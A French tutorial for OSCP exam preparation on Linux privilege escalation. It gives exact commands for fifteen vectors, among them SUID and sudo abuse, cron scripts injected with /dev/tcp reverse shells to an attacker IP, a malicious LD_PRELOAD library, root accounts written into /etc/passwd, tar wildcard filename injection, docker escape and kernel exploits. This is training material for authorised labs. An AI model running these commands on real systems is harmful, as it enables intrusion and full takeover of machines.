Avertissement légal : toutes les techniques présentées dans ce tutoriel sont destinées à un usage légal uniquement — machines CTF, labs OffSec (PEN-200), environnements de test pour lesquels vous disposez d’une autorisation écrite. Toute utilisation sur un système tiers sans autorisation est illégale.
Vous venez d’obtenir un shell initial sur une machine Linux. La prochaine étape dans la méthodologie OSCP est d’escalader vos privilèges jusqu’à root. Ce tutoriel couvre 15 vecteurs d’attaque concrets, ordonnés du plus fréquent au plus avancé, avec les commandes exactes utilisées en exam.
1. Reconnaissance initiale post-shell
Avant de lancer un outil automatisé, collectez manuellement les informations de base. Ces commandes s’exécutent en 30 secondes et révèlent souvent le vecteur directement.
Étape 1 — Identité et contexte
# Qui suis-je ?
id
whoami
groups
# Hostname et OS
hostname
uname -a
cat /etc/os-release
cat /proc/version
Étape 2 — Utilisateurs et sessions actives
# Tous les utilisateurs avec shell
cat /etc/passwd | grep -v nologin | grep -v false
# Sessions actives
w
who
last | head -20
# Fichiers dans les home
ls -la /home/
ls -la /root/ 2>/dev/null
Étape 3 — Réseau et processus
# Ports en écoute locale (non visibles depuis l'extérieur)
ss -tulpn
netstat -tulpn 2>/dev/null
# Processus en cours — chercher les services root
ps aux --sort=-%mem | head -30
ps aux | grep root | grep -v grep
# Interfaces réseau
ip a
ip route
Étape 4 — Variables d’environnement et PATH
env
echo $PATH
cat /etc/environment
cat /etc/profile
cat ~/.bashrc ~/.bash_profile 2>/dev/null
2. Automatisation : LinPEAS et LinEnum
LinPEAS est l’outil de référence pour l’énumération automatique des vecteurs d’escalade. Il colore les résultats en rouge/jaune selon la criticité.
Étape 1 — Transfert sur la cible
# Sur votre machine Kali — démarrez un serveur HTTP
python3 -m http.server 8080
# Sur la cible (depuis le shell initial)
curl http://10.10.14.x:8080/linpeas.sh -o /tmp/linpeas.sh
# ou avec wget
wget http://10.10.14.x:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
Étape 2 — Exécution et capture
# Exécution complète avec couleurs — redirigez vers un fichier pour relecture
/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas_out.txt
# Option sans couleurs (si terminal ne supporte pas ANSI)
/tmp/linpeas.sh -a --no-color 2>&1 | tee /tmp/linpeas_out.txt
Étape 3 — Priorités de lecture
Dans la sortie LinPEAS, lisez dans cet ordre :
- Rouge vif (99% PE vector) — exploitez en priorité
- Rouge — exploitez en second
- Jaune — vérifiez manuellement
Sections critiques à scanner : Sudo version & sudoers, SUID/SGID, Interesting files, Cron jobs, Writable files, Capabilities.
LinEnum (alternative)
curl http://10.10.14.x:8080/LinEnum.sh -o /tmp/linenum.sh
chmod +x /tmp/linenum.sh
/tmp/linenum.sh -t -k password 2>&1 | tee /tmp/linenum_out.txt
3. SUID / SGID binaires
Un binaire avec le bit SUID s’exécute avec les droits du propriétaire (souvent root). Si ce binaire peut spawner un shell ou écrire des fichiers, c’est game over.
Étape 1 — Trouver les binaires SUID
# SUID (exécution avec droits du propriétaire)
find / -perm -4000 -type f 2>/dev/null | sort
# SGID (exécution avec droits du groupe)
find / -perm -2000 -type f 2>/dev/null | sort
# Les deux en un
find / -perm /6000 -type f 2>/dev/null | sort
Étape 2 — Identifier les binaires exploitables avec GTFOBins
Comparez votre liste avec GTFOBins. Exemples classiques :
| Binaire | Commande d’exploitation SUID |
|---|---|
bash |
bash -p → shell root (si SUID et bash < 5.x) |
find |
find . -exec /bin/bash -p \; -quit |
vim |
vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")' |
nmap (legacy) |
nmap --interactive → !sh (nmap < 5.21) |
python |
python -c 'import os; os.execl("/bin/bash", "bash", "-p")' |
cp |
Copier /etc/shadow dans un dossier lisible, puis cracker |
env |
env /bin/bash -p |
Étape 3 — Exemple concret avec find SUID
# Vérifier si find a le SUID
ls -la $(which find)
# -rwsr-xr-x 1 root root ... /usr/bin/find
# Escalade
find . -exec /bin/bash -p \; -quit
# Résultat : bash-5.0# id
# uid=1000(www-data) gid=1000(www-data) euid=0(root) groups=...
Étape 4 — Binaires customs SUID (non-standard)
# Isoler les SUID hors des chemins système standard
find / -perm -4000 -type f 2>/dev/null | grep -v -E "^/(usr|bin|sbin|lib)" | sort
# Analyser le binaire custom avec strings
strings /opt/custom_suid_binary
file /opt/custom_suid_binary
# Lancer avec ltrace/strace pour voir les appels système
ltrace /opt/custom_suid_binary 2>&1 | head -40
strace /opt/custom_suid_binary 2>&1 | grep -E "(open|exec|read)" | head -20
4. Mauvaise configuration sudo
Le fichier /etc/sudoers définit ce que les utilisateurs peuvent exécuter avec sudo. Les mauvaises configurations sont extrêmement fréquentes dans le PEN-200.
Étape 1 — Lister les droits sudo de l’utilisateur courant
sudo -l
Sortie typique :
User www-data may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
(root) NOPASSWD: /usr/bin/find
Étape 2 — GTFOBins sudo — exemples clés
# vim avec sudo → shell root
sudo vim -c ':!/bin/bash'
# python3 → shell root
sudo python3 -c 'import os; os.system("/bin/bash")'
# less → shell root
sudo less /etc/profile
# puis depuis less : !bash
# awk → shell root
sudo awk 'BEGIN {system("/bin/bash")}'
# tee — écrire dans un fichier root
echo "www-data ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
# Ensuite : sudo bash
# wget — écraser un fichier system
sudo wget http://10.10.14.x:8080/malicious -O /etc/sudoers
Étape 3 — Script Python invoqué avec sudo (chemin partiel)
# Cas : (root) NOPASSWD: /usr/bin/python3 /opt/script.py
# Si script.py importe un module et que vous pouvez écrire dans son répertoire
cat /opt/script.py
# import subprocess; subprocess.run(["id"])
# Créez un faux module dans le répertoire courant
cd /opt
echo 'import os; os.system("/bin/bash")' > subprocess.py
sudo /usr/bin/python3 /opt/script.py
# → shell root via module hijacking
Étape 4 — Sudo version vulnérable (Baron Samedit)
# Vérifier la version sudo
sudo --version
# sudo version 1.8.x (< 1.8.31p2) = CVE-2021-3156 (Baron Samedit)
# sudo 1.9.x (< 1.9.5p2) = aussi vulnérable
# Vérification rapide : si la commande retourne "sudoedit: /etc/...:" sans erreur de parsing
sudoedit -s '\' `python3 -c 'print("A"*65536)'`
# Crash ou segfault = vulnérable
# Exploit public (lab uniquement)
# https://github.com/blasty/CVE-2021-3156
5. Cron jobs mal sécurisés
Les tâches planifiées qui exécutent des scripts writables sont l'une des techniques les plus fiables dans le PEN-200. Le script tourne en root → vous écrivez dedans → root shell.
Étape 1 — Lister tous les cron jobs
# Crontabs système
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
# Crontab de l'utilisateur courant
crontab -l
# Crontabs de tous les utilisateurs (si accès)
for user in $(cut -f1 -d: /etc/passwd); do
echo "--- $user ---"
crontab -u $user -l 2>/dev/null
done
# Processus cron en cours (repère les jobs au moment où ils tournent)
pspy64 # si disponible/transféré — surveille les processus sans droits root
Étape 2 — Transférer et utiliser pspy
# Sur Kali
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 8080
# Sur la cible
wget http://10.10.14.x:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 1000
# Observer pendant 2-3 minutes — les crons root apparaissent avec UID=0
Étape 3 — Écrire dans le script de cron
# Cas : /etc/crontab contient
# * * * * * root /opt/cleanup.sh
# Vérifier les droits d'écriture sur le script
ls -la /opt/cleanup.sh
# -rwxrwxr-x 1 root root ... = WRITABLE par tous !
# Injecter un reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' >> /opt/cleanup.sh
# Sur Kali — écoutez
nc -lvnp 4444
# Attendre le prochain cycle cron (max 60 secondes)
Étape 4 — Cron écrit dans un dossier writable
# Cas : le cron appelle /tmp/maintenance.sh
# ou appelle un chemin que vous contrôlez
# Créer le script malveillant
cat > /tmp/maintenance.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
EOF
chmod +x /tmp/maintenance.sh
6. PATH hijacking
Si un script SUID ou exécuté par root appelle une commande sans chemin absolu (ex: ls au lieu de /bin/ls), vous pouvez injecter un faux binaire en tête du PATH.
Étape 1 — Identifier l'appel vulnérable
# Analyser le binaire SUID avec strings
strings /opt/vuln_suid
# Output contient : "service apache2 start" ← appel sans chemin absolu
# Confirmer avec strace
strace /opt/vuln_suid 2>&1 | grep exec
Étape 2 — Créer le faux binaire
# Créer /tmp/service qui spawne un shell root
cat > /tmp/service << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/service
# Injecter /tmp en tête du PATH
export PATH=/tmp:$PATH
# Vérifier
echo $PATH
# /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Exécuter le binaire SUID
/opt/vuln_suid
# → bash-5.0# id
# uid=1000(user) gid=1000(user) euid=0(root)
7. LD_PRELOAD et variables d'environnement
Si un utilisateur peut exécuter n'importe quelle commande avec sudo et que env_keep+=LD_PRELOAD est dans le sudoers, c'est une escalade directe.
Étape 1 — Vérifier env_keep dans sudo
sudo -l
# Chercher : env_keep += "LD_PRELOAD"
# ou : env_keep += "LD_LIBRARY_PATH"
Étape 2 — Créer la librairie malveillante
# Créer shell.c
cat > /tmp/shell.c << 'EOF'
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
# Compiler en librairie partagée
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# Exécuter avec sudo en forçant LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find / 2>/dev/null
# → shell root immédiat
Exploitation LD_LIBRARY_PATH
# Identifier les librairies chargées par le programme sudo
ldd /usr/sbin/apache2
# libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1
# Créer une fausse libcrypt.so dans un dossier writable
cat > /tmp/libcrypt.c << 'EOF'
#include
#include
void crypt() {
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
}
EOF
gcc -fPIC -shared -o /tmp/libcrypt.so.1 /tmp/libcrypt.c
# Exécuter avec sudo
sudo LD_LIBRARY_PATH=/tmp apache2 2>/dev/null
/tmp/rootbash -p
# → euid=0
8. Permissions faibles sur fichiers critiques
Étape 1 — /etc/passwd writable
# Vérifier
ls -la /etc/passwd
# -rw-rw-r-- 1 root passwd ... = writable par groupe passwd !
# Générer un hash de mot de passe
openssl passwd -1 -salt hack password123
# $1$hack$WH9bFqoHiHMVxDmCN6g3W1
# Ajouter un utilisateur root
echo 'hacker:$1$hack$WH9bFqoHiHMVxDmCN6g3W1:0:0:root:/root:/bin/bash' >> /etc/passwd
# Se connecter
su hacker
# Password: password123
# root@target:/# id
# uid=0(root)
Étape 2 — /etc/shadow readable
# Vérifier
ls -la /etc/shadow
# -rw-r--r-- = readable par tous (mauvaise config)
# Copier les hashes
cat /etc/shadow | grep -v '!!' | grep -v '*'
# Cracker avec hashcat (sur Kali)
hashcat -m 1800 shadow.txt /usr/share/wordlists/rockyou.txt --force
# -m 1800 = sha512crypt (type $6$)
# -m 500 = md5crypt (type $1$)
# -m 1400 = sha256 (type $5$)
Étape 3 — Fichiers de configuration contenant des mots de passe
# Chercher des mots de passe dans les fichiers config
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
grep -r "passwd" /var/www/ 2>/dev/null | grep -v ".git"
grep -r "DB_PASS\|database_password\|MYSQL_PASS" /var/www/ 2>/dev/null
# Historiques bash de tous les utilisateurs
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
# Fichiers avec les mots "pass", "secret", "key" dans leur nom
find / -name "*pass*" -o -name "*secret*" -o -name "*cred*" 2>/dev/null | grep -v proc
9. Linux Capabilities
Les capabilities permettent de donner à un binaire une permission root spécifique sans le passer SUID complet. cap_setuid suffit pour une escalade.
Étape 1 — Lister les capabilities
# Lister tous les binaires avec capabilities
getcap -r / 2>/dev/null
Sorties à surveiller :
/usr/bin/python3.8 = cap_setuid+eip
/usr/bin/perl = cap_setuid+eip
/usr/bin/ruby = cap_setuid+eip
/usr/bin/node = cap_setuid+eip
/usr/sbin/tcpdump = cap_net_raw+eip
Étape 2 — Exploitation cap_setuid
# Python avec cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → shell root
# Perl avec cap_setuid
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Ruby avec cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# Node.js avec cap_setuid
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'
cap_net_raw (tcpdump) — sniff de mots de passe
# Sniffer du trafic réseau interne
tcpdump -i lo -A -n 2>/dev/null | grep -i "pass\|user\|login\|auth"
# Capturer dans un fichier pour analyse
tcpdump -i any -w /tmp/capture.pcap -n 2>/dev/null &
# Après quelques minutes, analyser sur Kali avec Wireshark ou tshark
10. NFS no_root_squash
Si le serveur NFS exporte un partage avec l'option no_root_squash, un attaquant root sur sa machine peut créer un SUID binaire sur le partage et l'exécuter sur la cible.
Étape 1 — Identifier les exports NFS depuis la cible
cat /etc/exports
# /shared *(rw,sync,no_root_squash) ← VULNÉRABLE
# Depuis l'extérieur (Kali)
showmount -e 10.10.10.x
# Export list for 10.10.10.x:
# /shared *
Étape 2 — Monter le partage sur Kali et créer le SUID
# Sur Kali (en root)
mkdir /mnt/nfs_target
mount -t nfs 10.10.10.x:/shared /mnt/nfs_target
# Créer un binaire SUID bash
cp /bin/bash /mnt/nfs_target/rootbash
chmod +s /mnt/nfs_target/rootbash
# Le fichier est créé avec UID=0 (root Kali) et le bit SUID
# Vérifier
ls -la /mnt/nfs_target/rootbash
# -rwsr-xr-x 1 root root ... rootbash
Étape 3 — Exécuter depuis la cible
# Sur la cible (dans le shell initial)
ls -la /shared/rootbash
# -rwsr-xr-x 1 root root ...
/shared/rootbash -p
# bash-5.0# id
# uid=1000(user) gid=1000(user) euid=0(root)
11. Escape Docker (groupe docker)
Si votre utilisateur appartient au groupe docker, vous pouvez monter le système de fichiers hôte dans un conteneur et lire/écrire n'importe quel fichier root.
Étape 1 — Vérifier l'appartenance au groupe docker
id
# uid=1000(user) gid=1000(user) groups=1000(user),999(docker) ← VULNÉRABLE
# Lister les images disponibles
docker images
Étape 2 — Monter le système hôte et obtenir root
# Méthode 1 — Shell root dans un conteneur avec / monté
docker run -it -v /:/mnt/host alpine chroot /mnt/host /bin/bash
# → root@container:/# id
# uid=0(root) gid=0(root)
# Méthode 2 — Copier bash SUID sur l'hôte depuis le conteneur
docker run -v /:/mnt/host alpine cp /bin/sh /mnt/host/tmp/sh
docker run -v /:/mnt/host alpine chmod +s /mnt/host/tmp/sh
/tmp/sh -p
# → euid=0
# Méthode 3 — Ajouter une entrée sudoers depuis le conteneur
docker run -v /:/mnt/host alpine sh -c \
'echo "user ALL=(ALL) NOPASSWD:ALL" >> /mnt/host/etc/sudoers'
sudo bash
12. Services systemd / unit files writables
Si vous pouvez modifier un fichier .service exécuté par root, vous injectez vos commandes dans le démarrage du service.
Étape 1 — Trouver les unit files writables
# Chercher les .service writables
find /etc/systemd /lib/systemd /usr/lib/systemd -name "*.service" 2>/dev/null \
| while read f; do [ -w "$f" ] && echo "WRITABLE: $f"; done
# Alternative avec ls
ls -la /etc/systemd/system/
ls -la /lib/systemd/system/ | grep -v "^l"
Étape 2 — Modifier un service writable
# Supposons que /etc/systemd/system/vuln.service est writable
cat /etc/systemd/system/vuln.service
# [Service]
# ExecStart=/usr/bin/clean_logs.sh
# User=root
# Modifier l'ExecStart pour injecter un SUID bash
cat > /etc/systemd/system/vuln.service << 'EOF'
[Unit]
Description=Vulnerable service
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
[Install]
WantedBy=multi-user.target
EOF
# Recharger et redémarrer le service (ou attendre un reboot)
systemctl daemon-reload
systemctl restart vuln.service
/tmp/rootbash -p
# → euid=0
13. Wildcard injection dans cron
Certains programmes comme tar et chown acceptent des arguments via le wildcard *. En créant des fichiers avec des noms qui ressemblent à des options, vous injectez des arguments.
Contexte typique
# /etc/crontab contient :
# * * * * * root cd /var/backups && tar czf backup.tgz *
# tar avec * = équivaut à lister tous les fichiers du dossier
# Si vous créez un fichier nommé --checkpoint-action=exec=sh${IFS}revshell.sh
# tar l'interprètera comme un paramètre
Étape 1 — Créer les fichiers pièges dans /var/backups
cd /var/backups
# Créer le reverse shell
cat > revshell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
EOF
chmod +x revshell.sh
# Créer les "fichiers" qui seront interprétés comme arguments tar
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh revshell.sh'
# Sur Kali — écouter
nc -lvnp 4444
# Au prochain cycle cron, tar exécutera :
# tar czf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh revshell.sh [autres fichiers]
# → reverse shell root
Wildcard injection avec chown
# Si le cron contient : chown root:root /var/data/*
# Créer un fichier "--reference=malicious_file"
# chown copiera les permissions du fichier de référence
# Créer un fichier de référence appartenant à votre user
touch /tmp/ref_file
chown user:user /tmp/ref_file
# Créer le fichier piège
cd /var/data
touch -- '--reference=/tmp/ref_file'
# Le prochain chown * changera la propriété de tous les fichiers vers user:user
14. Kernel exploits (DirtyPipe, DirtyCow)
Les exploits kernel sont puissants mais risqués (peuvent crasher la machine). À utiliser en dernier recours. Vérifiez toujours la version kernel avant de lancer.
Étape 1 — Identifier la version kernel
uname -r
# 5.8.0-50-generic
cat /proc/version
# Linux version 5.8.0-50-generic (buildd@lgw01-amd64-039) ...
# Vérifier l'architecture
uname -m
# x86_64
DirtyPipe — CVE-2022-0847 (kernel 5.8 à 5.16.11)
# Vérifier si la version kernel est vulnérable
# Vulnérable : 5.8 ≤ kernel < 5.16.11, 5.15.25, 5.10.102
uname -r # 5.8.0-50 → VULNÉRABLE
# Compiler et exécuter l'exploit (sur la cible)
wget http://10.10.14.x:8080/dirtypipe.c -O /tmp/dirtypipe.c
gcc /tmp/dirtypipe.c -o /tmp/dirtypipe
/tmp/dirtypipe /etc/passwd
# → Écrase le hash root dans /etc/passwd avec un hash connu
# → su root (avec le mot de passe correspondant)
DirtyCow — CVE-2016-5195 (kernel < 4.8.3)
# Kernels anciens (CTF avec vieilles machines)
uname -r # 3.x ou 4.x ancien → potentiellement vulnérable
# Exploit cowroot (copie bash avec SUID)
wget http://10.10.14.x:8080/cowroot.c -O /tmp/cowroot.c
gcc /tmp/cowroot.c -o /tmp/cowroot -pthread
/tmp/cowroot
# → root shell
Note exam : les machines OSCP récentes (depuis 2022) tournent généralement sur des kernels patchés contre DirtyCow. Priorisez les vecteurs de configuration avant les exploits kernel.
Suggérer des exploits kernel via LES
# Linux Exploit Suggester
wget http://10.10.14.x:8080/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh
/tmp/les.sh
# Affiche les CVEs applicables à la version kernel courante avec probabilités
15. TMUX / Screen session hijacking
Si un utilisateur root a laissé une session tmux ou screen détachée accessible, vous pouvez vous y attacher et hériter de ses droits.
TMUX — session root détachée
# Lister toutes les sessions tmux sur le système
tmux list-sessions 2>/dev/null
# ou
ls -la /tmp/tmux-*/
# Cas : socket tmux appartenant à root mais lisible
ls -la /tmp/tmux-0/default
# srwxrwxrwx 1 root root → WORLD WRITABLE
# S'attacher à la session root
tmux -S /tmp/tmux-0/default attach
# → shell root dans le terminal root
Screen — session détachée
# Lister les sessions screen
screen -ls
# ou
ls -la /var/run/screen/
# S'attacher à une session root détachée
screen -r root/ # nom de session
# ou
screen -x # attacher à toutes les sessions
Créer une session tmux root accessible
# Si vous avez accès à un cron root — forcer la création d'une socket world-writable
echo 'tmux -S /tmp/root_session new-session -d' >> /opt/cron_script.sh
# Attendre l'exécution du cron
tmux -S /tmp/root_session attach
Checklist exam — 20 points en 45 minutes
Dans l'exam OSCP, une fois le shell initial obtenu, suivez cette séquence rapide pour maximiser les chances de root :
| # | Vérification | Commande rapide | Temps estimé |
|---|---|---|---|
| 1 | Identité et groupes | id && groups |
10 sec |
| 2 | Sudo sans mot de passe | sudo -l |
30 sec |
| 3 | SUID binaires | find / -perm -4000 -type f 2>/dev/null |
30 sec |
| 4 | Capabilities | getcap -r / 2>/dev/null |
20 sec |
| 5 | LinPEAS (automatisation) | Transférer + exécuter | 3-5 min |
| 6 | Cron jobs writables | cat /etc/crontab; cat /etc/cron.d/* |
2 min |
| 7 | pspy (processus root) | Transférer + observer 3 min | 3-5 min |
| 8 | Mots de passe dans config | grep -r "password" /etc /var/www 2>/dev/null |
1 min |
| 9 | /etc/passwd writable | ls -la /etc/passwd |
10 sec |
| 10 | NFS no_root_squash | cat /etc/exports |
10 sec |
| 11 | Groupe docker/lxd | id | grep -E "docker|lxd" |
10 sec |
| 12 | Version kernel | uname -r → LES |
2 min |
Capture du proof.txt après root
# Dès root obtenu — screenshot IMMÉDIAT
id && hostname && cat /root/proof.txt
# uid=0(root) gid=0(root) groups=0(root)
# target-machine
# OS{abc123def456...}
# Screenshot avec ipconfig/ifconfig visible
ip a | grep -A2 "eth0\|ens"
cat /root/proof.txt
Ressources et références
- GTFOBins — binaires Linux exploitables (SUID, sudo, capabilities)
- LinPEAS (PEASS-ng) — outil d'énumération automatique
- pspy — surveillance des processus sans droits root
- Linux Exploit Suggester — suggère les CVE kernel applicables
- HackTricks — Linux Privilege Escalation
- OffSec PEN-200 — cours officiel OSCP
Prochaines étapes
Une fois root sur une machine Linux, l'étape suivante dépend du type de machine dans votre progression :
- Si vous êtes sur une machine du réseau interne, consultez le tutoriel Pivoting réseau : SSH, chisel, ligolo-ng pour pivoter vers d'autres segments.
- Si vous visez l'ensemble Active Directory, consultez Active Directory : Kerberoasting, Pass-the-Hash, BloodHound.
- Pour les machines Windows, voir Escalade de privilèges Windows.